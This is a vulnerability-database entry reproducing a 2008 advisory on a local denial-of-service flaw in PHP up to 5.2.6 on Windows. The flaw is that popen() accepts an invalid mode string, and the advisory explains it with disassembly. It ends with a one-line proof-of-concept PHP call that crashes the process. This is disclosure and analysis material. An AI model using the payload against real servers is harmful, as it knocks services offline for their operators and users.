PHP <= 5.2.6 Win32 popen() (php5ts.dll) Local Denial of Service Exploit

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1052576 漏洞类型
发布时间 2008-08-07 更新时间 2008-08-07
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2008080032
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#############################################################################################
#                                                                                           #
#         PHP <= 5.2.6 Win32 popen() (php5ts.dll) Local Denial of Service Exploit           #
#                                                                                           #
#         Desc:       Flaw in popen() from php5ts.dll Win32                                 #
#         Discovered: Bug oryginnally discovered by c0ndemned.                              #
#         Others:     Some reverse engineering stuff done by suN8Hclf and 0in.              #
#         Visit:      Visit us at www.dark-coders.pl                                        #
#                                                                                           #
#############################################################################################
 
The popen() function simply creates a one-way pipe to the process runned by forking.
It takes two parameters: a name of the process and a char determining the access rights.
But when we pass the second argument different from 'a', 'r' and 'w' it creates the
pipe and then... it crushes dwon. It does it while executing _fdopen() from MSVCRT.dll.
On Windows 2000 SP 4 Polish the memory violation is while writing to 0x00000028:

(from ntdll.dll):
77F89134 > $  8B5424 04     MOV EDX,DWORD PTR SS:[ESP+4]
77F89138   .  33C0          XOR EAX,EAX
77F8913A   .  FF4A 08       DEC DWORD PTR DS:[EDX+8]  <-- here is the memory violation

and EDX is ALWAYS SET TO 0x00000020...

The main problem in popen()'s implementation is that, it does not check whether the 
second argument is 'a', 'r' or 'w' and it simply passes it to the fdopen(). But there 
is an exception. If we pass, for example 'aaaaaa', it wont couse an exception. Why???
Here is some fdopen() code:

78020D48    3C 61           CMP AL,61                   <-- if 'a'
78020D4A    74 70           JE SHORT MSVCRT.78020DBC
78020D4C    3C 72           CMP AL,72                   <-- if 'r'
78020D4E    74 23           JE SHORT MSVCRT.78020D73
78020D50    3C 77           CMP AL,77                   <-- if 'w'
78020D52    74 68           JE SHORT MSVCRT.78020DBC

As you can see, there are some conditional jumps. And if the FIRST letter from the 
string is equal to 'a', 'r' or 'w' it is good.


Proof of Concept Exploit:

<?php popen('', 'b'); ?>

Lots of thanks to All DaRk-CodeRs guys, str0ke, zbt, ixos, Katharsis, Ola N & Agnieszka C :*